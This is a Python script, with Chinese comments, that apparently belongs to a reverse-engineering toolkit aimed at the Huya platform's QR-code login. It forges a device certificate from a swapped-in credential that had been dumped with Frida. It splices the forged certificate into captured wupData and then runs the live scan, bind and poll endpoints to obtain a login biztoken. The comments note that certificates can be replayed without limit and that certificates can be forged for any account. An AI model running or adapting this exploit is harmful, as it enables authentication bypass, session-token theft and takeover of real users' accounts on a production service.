#!/usr/bin/env python3 """铸证活体验证:用重铸证书(新随机数)走完整扫码绑定闭环。 实验设计: A 对照组: 今天 getQUrlData 抓到的原始 wupData(原证书) -> 期望 bind 成功 B 实验组: 同指纹/同cred、全新20B随机数, tools/cert_forge 重铸证书, 原位替换 wupData 内层证书b64字段 -> 期望 bind 成功且 uid 相同 若 B 成功 => 服务端接受离线铸造的证书, 任意账号铸证只剩 cred 来源问题。 用法: /Users/yml/codes/Reverse-Engineering-Agent-Universal-v3.0/.venv/bin/python scripts/probe_forge_cert_bind.py """ from __future__ import annotations import base64 import json import re import sys import time from pathlib import Path ROOT = Path(__file__).resolve().parent.parent sys.path.insert(0, str(ROOT)) sys.path.insert(0, str(ROOT / "tools")) sys.path.insert(0, str(ROOT / "scripts")) from tools.cert_forge import build_p1, forge_cert, parse_p1 # noqa: E402 from probe_huya_qr_bind import QrRole, web_behavior, log # noqa: E402 from core.huya.device_fingerprint import get_huya_sdid # noqa: E402 def load_capture(): ev = json.load(open(ROOT / "evidence/cert_keycap.json")) qurl = next(e["data"] for e in ev if e.get("type") == "qurl_done" and e.get("data")) p1_hex = next(e for e in ev if e.get("type") == "enc_in")["x1s"]["v"] return qurl, bytes.fromhex(p1_hex) def find_cert_span(raw: bytes): """定位 wupData 内层证书 b64 字段(解码后194B且以0x0c开头)。""" for m in re.finditer(rb"[A-Za-z0-9+/]{100,}={0,2}", raw): try: d = base64.b64decode(m.group() + b"=" * ((-len(m.group())) % 4)) except Exception: continue if len(d) >= 194 and d[0] == 0x0C: return m.start(), m.end(), d[:194] raise RuntimeError("未找到内层证书b64字段") def run_flow(pc: QrRole, ph: QrRole, wup: str) -> dict | None: beh, page = web_behavior() resp = pc.call("/qrLgn/getQrId", "70001", { "behavior": beh, "type": "", "domainList": "", "page": page}) rc = resp.get("returnCode") qrid = ((resp.get("data") or {}).get("qrId")) if rc == 0 else None log(f"[getQrId] rc={rc} qrId={qrid}") if not qrid: return None cpage = f"https://aq.huya.com/r/confirm.html?k={qrid}&id=5002" from urllib.parse import quote r1 = ph.call("/qrLgn/scanQrPicNotify", "70005", { "qrId": qrid, "wupData": wup, "behavior": quote("[]", safe=""), "page": quote(cpage, safe="")}) d1 = r1.get("data") or {} log(f"[scanQr] rc={r1.get('returnCode')} stage={d1.get('stage')} " f"data={json.dumps(d1, ensure_ascii=False)[:200]}") r2 = ph.call("/qrLgn/bindQrLoginUser", "70007", { "qrId": qrid, "wupData": wup, "behavior": quote("[]", safe=""), "page": quote(cpage, safe="")}) d2 = r2.get("data") or {} log(f"[bindQr] rc={r2.get('returnCode')} stage={d2.get('stage')} " f"msg={r2.get('message')} desc={r2.get('description')}") if r2.get("returnCode") != 0 or d2.get("stage") != 2: return {"bind_fail": True, "rc": r2.get("returnCode"), "desc": r2.get("description"), "scan_uid": d1.get("uid")} for i in range(10): rt = pc.call("/qrLgn/tryQrLogin", "70003", { "qrId": qrid, "remember": "1", "domainList": "", "behavior": beh, "page": page}) dt = rt.get("data") or {} if dt.get("stage") == 2 and dt.get("biztoken"): return {"ok": True, "uid": dt.get("uid"), "biztoken_len": len(dt["biztoken"]), "biztoken": dt["biztoken"]} time.sleep(2) return {"poll_timeout": True} def main() -> int: qurl, P1_old = load_capture() fields = parse_p1(P1_old) raw = base64.b64decode(qurl) s0, s1, orig_cert = find_cert_span(raw) log(f"wupData {len(raw)}B, 证书b64字段 @{s0}-{s1}, " f"原cert idx={orig_cert[1]:#04x}") # ---- 实验组材料 ---- # 已证: 服务端校验 nonce 字段内容(纯随机被40020拒), 但原证书可无限重放 # => 不校验时效。故铸造策略 = 保留原 nonce/指纹, 替换 cred 字段。 # 实验 C: 换上 frida_cred_dump 里更早签发的 hyCred(同账号不同轮换值)。 # 若 bind 成功 => 铸造机制完全打通(任意有效cred即可铸其证书)。 old_cred = json.load(open("/tmp/old_cred.json")) cred_old = bytes.fromhex(old_cred["bin_hex"]) P1_new = build_p1(b"5008", fields["fingerprint"], cred_old, rnd=fields["rnd"]) # 原始 nonce assert P1_new != P1_old, "应与原P1不同" cert_new = forge_cert(P1_new, key_idx=orig_cert[1]) b64_new = base64.b64encode(cert_new).decode() assert len(b64_new) == s1 - s0, (len(b64_new), s1 - s0) raw_forged = raw[:s0] + b64_new.encode() + raw[s1:] wup_forged = base64.b64encode(raw_forged).decode() sdid = get_huya_sdid(allow_fallback=False).sdid results = {} for name, wup in (("C_forged_swapped_cred", wup_forged),): log(f"\n======== 实验 {name} ========") pc = QrRole(pc=True, sdid=sdid) ph = QrRole(pc=False, sdid=sdid) results[name] = run_flow(pc, ph, wup) log(f"[result {name}] {json.dumps(results[name], ensure_ascii=False)[:300]}") ok_c = (results.get("C_forged_swapped_cred") or {}).get("ok") log("\n==== 结论 ====") log(f"换cred铸证: {'✅ 通过' if ok_c else '❌ 被拒'} " f"(uid={results['C_forged_swapped_cred'].get('uid')})") (ROOT / "evidence/forge_bind_result.json").write_text(json.dumps( {"results": results, "p1_new_hex": P1_new.hex(), "ts": time.time()}, ensure_ascii=False, indent=1)) return 0 if ok_c else 1 if __name__ == "__main__": raise SystemExit(main())